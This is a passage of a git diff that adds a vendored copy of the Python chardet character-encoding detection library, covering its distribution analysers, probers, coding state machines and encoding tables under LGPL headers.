(GB2312_CHAR_TO_FREQ_ORDER, GB2312_TABLE_SIZE, + GB2312_TYPICAL_DISTRIBUTION_RATIO) +from .big5freq import (BIG5_CHAR_TO_FREQ_ORDER, BIG5_TABLE_SIZE, + BIG5_TYPICAL_DISTRIBUTION_RATIO) +from .jisfreq import (JIS_CHAR_TO_FREQ_ORDER, JIS_TABLE_SIZE, + JIS_TYPICAL_DISTRIBUTION_RATIO) + + +class CharDistributionAnalysis(object): + ENOUGH_DATA_THRESHOLD = 1024 + SURE_YES = 0.99 + SURE_NO = 0.01 + MINIMUM_DATA_THRESHOLD = 3 + + def __init__(self): + # Mapping table to get frequency order from char order (get from + # GetOrder()) + self._char_to_freq_order = None + self._table_size = None # Size of above table + # This is a constant value which varies from language to language, + # used in calculating confidence. See + # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html + # for further detail. + self.typical_distribution_ratio = None + self._done = None + self._total_chars = None + self._freq_chars = None + self.reset() + + def reset(self): + """reset analyser, clear any state""" + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + self._total_chars = 0 # Total characters encountered + # The number of characters whose frequency order is less than 512 + self._freq_chars = 0 + + def feed(self, char, char_len): + """feed a character with known length""" + if char_len == 2: + # we only care about 2-bytes character in our distribution analysis + order = self.get_order(char) + else: + order = -1 + if order >= 0: + self._total_chars += 1 + # order is valid + if order < self._table_size: + if 512 > self._char_to_freq_order[order]: + self._freq_chars += 1 + + def get_confidence(self): + """return confidence based on existing data""" + # if we didn't receive any character in our consideration range, + # return negative answer + if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: + return self.SURE_NO + + if self._total_chars != self._freq_chars: + r = (self._freq_chars / ((self._total_chars - self._freq_chars) + * self.typical_distribution_ratio)) + if r < self.SURE_YES: + return r + + # normalize confidence (we don't want to be 100% sure) + return self.SURE_YES + + def got_enough_data(self): + # It is not necessary to receive all data to draw conclusion. + # For charset detection, certain amount of data is enough + return self._total_chars > self.ENOUGH_DATA_THRESHOLD + + def get_order(self, byte_str): + # We do not handle characters based on the original encoding string, + # but convert this encoding string to a number, here called order. + # This allows multiple encodings of a language to share one frequency + # table. + return -1 + + +class EUCTWDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCTWDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER + self._table_size = EUCTW_TABLE_SIZE + self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-TW encoding, we are interested + # first byte range: 0xc4 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xC4: + return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 + else: + return -1 + + +class EUCKRDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCKRDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER + self._table_size = EUCKR_TABLE_SIZE + self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-KR encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xB0: + return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 + else: + return -1 + + +class GB2312DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(GB2312DistributionAnalysis, self).__init__() + self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER + self._table_size = GB2312_TABLE_SIZE + self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for GB2312 encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0xB0) and (second_char >= 0xA1): + return 94 * (first_char - 0xB0) + second_char - 0xA1 + else: + return -1 + + +class Big5DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(Big5DistributionAnalysis, self).__init__() + self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER + self._table_size = BIG5_TABLE_SIZE + self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for big5 encoding, we are interested + # first byte range: 0xa4 -- 0xfe + # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if first_char >= 0xA4: + if second_char >= 0xA1: + return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 + else: + return 157 * (first_char - 0xA4) + second_char - 0x40 + else: + return -1 + + +class SJISDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(SJISDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for sjis encoding, we are interested + # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe + # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0x81) and (first_char <= 0x9F): + order = 188 * (first_char - 0x81) + elif (first_char >= 0xE0) and (first_char <= 0xEF): + order = 188 * (first_char - 0xE0 + 31) + else: + return -1 + order = order + second_char - 0x40 + if second_char > 0x7F: + order = -1 + return order + + +class EUCJPDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCJPDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-JP encoding, we are interested + # first byte range: 0xa0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + char = byte_str[0] + if char >= 0xA0: + return 94 * (char - 0xA1) + byte_str[1] - 0xa1 + else: + return -1 diff --git a/src/thirdparty/chardet/charsetgroupprober.py b/src/thirdparty/chardet/charsetgroupprober.py new file mode 100644 index 0000000000..5812cef0b5 --- /dev/null +++ b/src/thirdparty/chardet/charsetgroupprober.py @@ -0,0 +1,107 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState +from .charsetprober import CharSetProber + + +class CharSetGroupProber(CharSetProber): + def __init__(self, lang_filter=None): + super(CharSetGroupProber, self).__init__(lang_filter=lang_filter) + self._active_num = 0 + self.probers = [] + self._best_guess_prober = None + + def reset(self): + super(CharSetGroupProber, self).reset() + self._active_num = 0 + for prober in self.probers: + if prober: + prober.reset() + prober.active = True + self._active_num += 1 + self._best_guess_prober = None + + @property + def charset_name(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.charset_name + + @property + def language(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.language + + def feed(self, byte_str): + for prober in self.probers: + if not prober: + continue + if not prober.active: + continue + state = prober.feed(byte_str) + if not state: + continue + if state == ProbingState.FOUND_IT: + self._best_guess_prober = prober + self._state = ProbingState.FOUND_IT + return self.state + elif state == ProbingState.NOT_ME: + prober.active = False + self._active_num -= 1 + if self._active_num <= 0: + self._state = ProbingState.NOT_ME + return self.state + return self.state + + def get_confidence(self): + state = self.state + if state == ProbingState.FOUND_IT: + return 0.99 + elif state == ProbingState.NOT_ME: + return 0.01 + best_conf = 0.0 + self._best_guess_prober = None + for prober in self.probers: + if not prober: + continue + if not prober.active: + self.logger.debug('%s not active', prober.charset_name) + continue + conf = prober.get_confidence() + self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, conf) + if best_conf < conf: + best_conf = conf + self._best_guess_prober = prober + if not self._best_guess_prober: + return 0.0 + return best_conf diff --git a/src/thirdparty/chardet/charsetprober.py b/src/thirdparty/chardet/charsetprober.py new file mode 100644 index 0000000000..eac4e59865 --- /dev/null +++ b/src/thirdparty/chardet/charsetprober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging +import re + +from .enums import ProbingState + + +class CharSetProber(object): + + SHORTCUT_THRESHOLD = 0.95 + + def __init__(self, lang_filter=None): + self._state = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + + def reset(self): + self._state = ProbingState.DETECTING + + @property + def charset_name(self): + return None + + def feed(self, buf): + pass + + @property + def state(self): + return self._state + + def get_confidence(self): + return 0.0 + + @staticmethod + def filter_high_byte_only(buf): + buf = re.sub(b'([\x00-\x7F])+', b' ', buf) + return buf + + @staticmethod + def filter_international_words(buf): + """ + We define three types of bytes: + alphabet: english alphabets [a-zA-Z] + international: international characters [\x80-\xFF] + marker: everything else [^a-zA-Z\x80-\xFF] + + The input buffer can be thought to contain a series of words delimited + by markers. This function works to filter all words that contain at + least one international character. All contiguous sequences of markers + are replaced by a single space ascii character. + + This filter applies to all scripts which do not use English characters. + """ + filtered = bytearray() + + # This regex expression filters out only words that have at-least one + # international character. The word may include one marker character at + # the end. + words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?', + buf) + + for word in words: + filtered.extend(word[:-1]) + + # If the last character in the word is a marker, replace it with a + # space as markers shouldn't affect our analysis (they are used + # similarly across all languages and may thus have similar + # frequencies). + last_char = word[-1:] + if not last_char.isalpha() and last_char < b'\x80': + last_char = b' ' + filtered.extend(last_char) + + return filtered + + @staticmethod + def filter_with_english_letters(buf): + """ + Returns a copy of ``buf`` that retains only the sequences of English + alphabet and high byte characters that are not between <> characters. + Also retains English alphabet and high byte characters immediately + before occurrences of >. + + This filter can be applied to all scripts which contain both English + characters and extended ASCII characters, but is currently only used by + ``Latin1Prober``. + """ + filtered = bytearray() + in_tag = False + prev = 0 + + for curr in range(len(buf)): + # Slice here to get bytes instead of an int with Python 3 + buf_char = buf[curr:curr + 1] + # Check if we're coming out of or entering an HTML tag + if buf_char == b'>': + in_tag = False + elif buf_char == b'<': + in_tag = True + + # If current character is not extended-ASCII and not alphabetic... + if buf_char < b'\x80' and not buf_char.isalpha(): + # ...and we're not in a tag + if curr > prev and not in_tag: + # Keep everything after last non-extended-ASCII, + # non-alphabetic character + filtered.extend(buf[prev:curr]) + # Output a space to delimit stretch we kept + filtered.extend(b' ') + prev = curr + 1 + + # If we're not in a tag... + if not in_tag: + # Keep everything after last non-extended-ASCII, non-alphabetic + # character + filtered.extend(buf[prev:]) + + return filtered diff --git a/src/thirdparty/chardet/codingstatemachine.py b/src/thirdparty/chardet/codingstatemachine.py new file mode 100644 index 0000000000..68fba44f14 --- /dev/null +++ b/src/thirdparty/chardet/codingstatemachine.py @@ -0,0 +1,88 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging + +from .enums import MachineState + + +class CodingStateMachine(object): + """ + A state machine to verify a byte sequence for a particular encoding. For + each byte the detector receives, it will feed that byte to every active + state machine available, one byte at a time. The state machine changes its + state based on its previous state and the byte it receives. There are 3 + states in a state machine that are of interest to an auto-detector: + + START state: This is the state to start with, or a legal byte sequence + (i.e. a valid code point) for character has been identified. + + ME state: This indicates that the state machine identified a byte sequence + that is specific to the charset it is designed for and that + there is no other possible encoding which can contain this byte + sequence. This will to lead to an immediate positive answer for + the detector. + + ERROR state: This indicates the state machine identified an illegal byte + sequence for that encoding. This will lead to an immediate + negative answer for this encoding. Detector will exclude this + encoding from consideration from here on. + """ + def __init__(self, sm): + self._model = sm + self._curr_byte_pos = 0 + self._curr_char_len = 0 + self._curr_state = None + self.logger = logging.getLogger(__name__) + self.reset() + + def reset(self): + self._curr_state = MachineState.START + + def next_state(self, c): + # for each byte we get its class + # if it is first byte, we also get byte length + byte_class = self._model['class_table'][c] + if self._curr_state == MachineState.START: + self._curr_byte_pos = 0 + self._curr_char_len = self._model['char_len_table'][byte_class] + # from byte's class and state_table, we get its next state + curr_state = (self._curr_state * self._model['class_factor'] + + byte_class) + self._curr_state = self._model['state_table'][curr_state] + self._curr_byte_pos += 1 + return self._curr_state + + def get_current_charlen(self): + return self._curr_char_len + + def get_coding_state_machine(self): + return self._model['name'] + + @property + def language(self): + return self._model['language'] diff --git a/src/thirdparty/chardet/compat.py b/src/thirdparty/chardet/compat.py new file mode 100644 index 0000000000..8941572b3e --- /dev/null +++ b/src/thirdparty/chardet/compat.py @@ -0,0 +1,36 @@ +######################## BEGIN LICENSE BLOCK ######################## +# Contributor(s): +# Dan Blanchard +# Ian Cordasco +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import sys + + +if sys.version_info < (3, 0): + PY2 = True + PY3 = False + string_types = (str, unicode) + text_type = unicode + iteritems = dict.iteritems +else: + PY2 = False + PY3 = True + string_types = (bytes, str) + text_type = str + iteritems = dict.items diff --git a/src/thirdparty/chardet/cp949prober.py b/src/thirdparty/chardet/cp949prober.py new file mode 100644 index 0000000000..efd793abca --- /dev/null +++ b/src/thirdparty/chardet/cp949prober.py @@ -0,0 +1,49 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .chardistribution import EUCKRDistributionAnalysis +from .codingstatemachine import CodingStateMachine +from .mbcharsetprober import MultiByteCharSetProber +from .mbcssm import CP949_SM_MODEL + + +class CP949Prober(MultiByteCharSetProber): + def __init__(self): + super(CP949Prober, self).__init__() + self.coding_sm = CodingStateMachine(CP949_SM_MODEL) + # NOTE: CP949 is a superset of EUC-KR, so the distribution should be + # not different. + self.distribution_analyzer = EUCKRDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "CP949" + + @property + def language(self): + return "Korean" diff --git a/src/thirdparty/chardet/enums.py b/src/thirdparty/chardet/enums.py new file mode 100644 index 0000000000..0451207225 --- /dev/null +++ b/src/thirdparty/chardet/enums.py @@ -0,0 +1,76 @@ +""" +All of the Enums that are used throughout the chardet package. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + + +class InputState(object): + """ + This enum represents the different states a universal detector can be in. + """ + PURE_ASCII = 0 + ESC_ASCII = 1 + HIGH_BYTE = 2 + + +class LanguageFilter(object): + """ + This enum represents the different language filters we can apply to a + ``UniversalDetector``. + """ + CHINESE_SIMPLIFIED = 0x01 + CHINESE_TRADITIONAL = 0x02 + JAPANESE = 0x04 + KOREAN = 0x08 + NON_CJK = 0x10 + ALL = 0x1F + CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL + CJK = CHINESE | JAPANESE | KOREAN + + +class ProbingState(object): + """ + This enum represents the different states a prober can be in. + """ + DETECTING = 0 + FOUND_IT = 1 + NOT_ME = 2 + + +class MachineState(object): + """ + This enum represents the different states a state machine can be in. + """ + START = 0 + ERROR = 1 + ITS_ME = 2 + + +class SequenceLikelihood(object): + """ + This enum represents the likelihood of a character following the previous one. + """ + NEGATIVE = 0 + UNLIKELY = 1 + LIKELY = 2 + POSITIVE = 3 + + @classmethod + def get_num_categories(cls): + """:returns: The number of likelihood categories in the enum.""" + return 4 + + +class CharacterCategory(object): + """ + This enum represents the different categories language models for + ``SingleByteCharsetProber`` put characters into. + + Anything less than CONTROL is considered a letter. + """ + UNDEFINED = 255 + LINE_BREAK = 254 + SYMBOL = 253 + DIGIT = 252 + CONTROL = 251 diff --git a/src/thirdparty/chardet/escprober.py b/src/thirdparty/chardet/escprober.py new file mode 100644 index 0000000000..c70493f2b1 --- /dev/null +++ b/src/thirdparty/chardet/escprober.py @@ -0,0 +1,101 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .codingstatemachine import CodingStateMachine +from .enums import LanguageFilter, ProbingState, MachineState +from .escsm import (HZ_SM_MODEL, ISO2022CN_SM_MODEL, ISO2022JP_SM_MODEL, + ISO2022KR_SM_MODEL) + + +class EscCharSetProber(CharSetProber): + """ + This CharSetProber uses a "code scheme" approach for detecting encodings, + whereby easily recognizable escape or shift sequences are relied on to + identify these encodings. + """ + + def __init__(self, lang_filter=None): + super(EscCharSetProber, self).__init__(lang_filter=lang_filter) + self.coding_sm = [] + if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED: + self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL)) + self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL)) + if self.lang_filter & LanguageFilter.JAPANESE: + self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL)) + if self.lang_filter & LanguageFilter.KOREAN: + self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL)) + self.active_sm_count = None + self._detected_charset = None + self._detected_language = None + self._state = None + self.reset() + + def reset(self): + super(EscCharSetProber, self).reset() + for coding_sm in self.coding_sm: + if not coding_sm: + continue + coding_sm.active = True + coding_sm.reset() + self.active_sm_count = len(self.coding_sm) + self._detected_charset = None + self._detected_language = None + + @property + def charset_name(self): + return self._detected_charset + + @property + def language(self): + return self._detected_language + + def get_confidence(self): + if self._detected_charset: + return 0.99 + else: + return 0.00 + + def feed(self, byte_str): + for c in byte_str: + for coding_sm in self.coding_sm: + if not coding_sm or not coding_sm.active: + continue + coding_state = coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + coding_sm.active = False + self.active_sm_count -= 1 + if self.active_sm_count <= 0: + self._state = ProbingState.NOT_ME + return self.state + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + self._detected_charset = coding_sm.get_coding_state_machine() + self._detected_language = coding_sm.language + return self.state + + return self.state diff --git a/src/thirdparty/chardet/escsm.py b/src/thirdparty/chardet/escsm.py new file mode 100644 index 0000000000..0069523a04 --- /dev/null +++ b/src/thirdparty/chardet/escsm.py @@ -0,0 +1,246 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +HZ_CLS = ( +1,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,0,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,4,0,5,2,0, # 78 - 7f +1,1,1,1,1,1,1,1, # 80 - 87 +1,1,1,1,1,1,1,1, # 88 - 8f +1,1,1,1,1,1,1,1, # 90 - 97 +1,1,1,1,1,1,1,1, # 98 - 9f +1,1,1,1,1,1,1,1, # a0 - a7 +1,1,1,1,1,1,1,1, # a8 - af +1,1,1,1,1,1,1,1, # b0 - b7 +1,1,1,1,1,1,1,1, # b8 - bf +1,1,1,1,1,1,1,1, # c0 - c7 +1,1,1,1,1,1,1,1, # c8 - cf +1,1,1,1,1,1,1,1, # d0 - d7 +1,1,1,1,1,1,1,1, # d8 - df +1,1,1,1,1,1,1,1, # e0 - e7 +1,1,1,1,1,1,1,1, # e8 - ef +1,1,1,1,1,1,1,1, # f0 - f7 +1,1,1,1,1,1,1,1, # f8 - ff +) + +HZ_ST = ( +MachineState.START,MachineState.ERROR, 3,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START, 4,MachineState.ERROR,# 10-17 + 5,MachineState.ERROR, 6,MachineState.ERROR, 5, 5, 4,MachineState.ERROR,# 18-1f + 4,MachineState.ERROR, 4, 4, 4,MachineState.ERROR, 4,MachineState.ERROR,# 20-27 + 4,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 28-2f +) + +HZ_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +HZ_SM_MODEL = {'class_table': HZ_CLS, + 'class_factor': 6, + 'state_table': HZ_ST, + 'char_len_table': HZ_CHAR_LEN_TABLE, + 'name': "HZ-GB-2312", + 'language': 'Chinese'} + +ISO2022CN_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,3,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,4,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022CN_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 20-27 + 5, 6,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,# 38-3f +) + +ISO2022CN_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022CN_SM_MODEL = {'class_table': ISO2022CN_CLS, + 'class_factor': 9, + 'state_table': ISO2022CN_ST, + 'char_len_table': ISO2022CN_CHAR_LEN_TABLE, + 'name': "ISO-2022-CN", + 'language': 'Chinese'} + +ISO2022JP_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,2,2, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,7,0,0,0, # 20 - 27 +3,0,0,0,0,0,0,0, # 28 - 2f 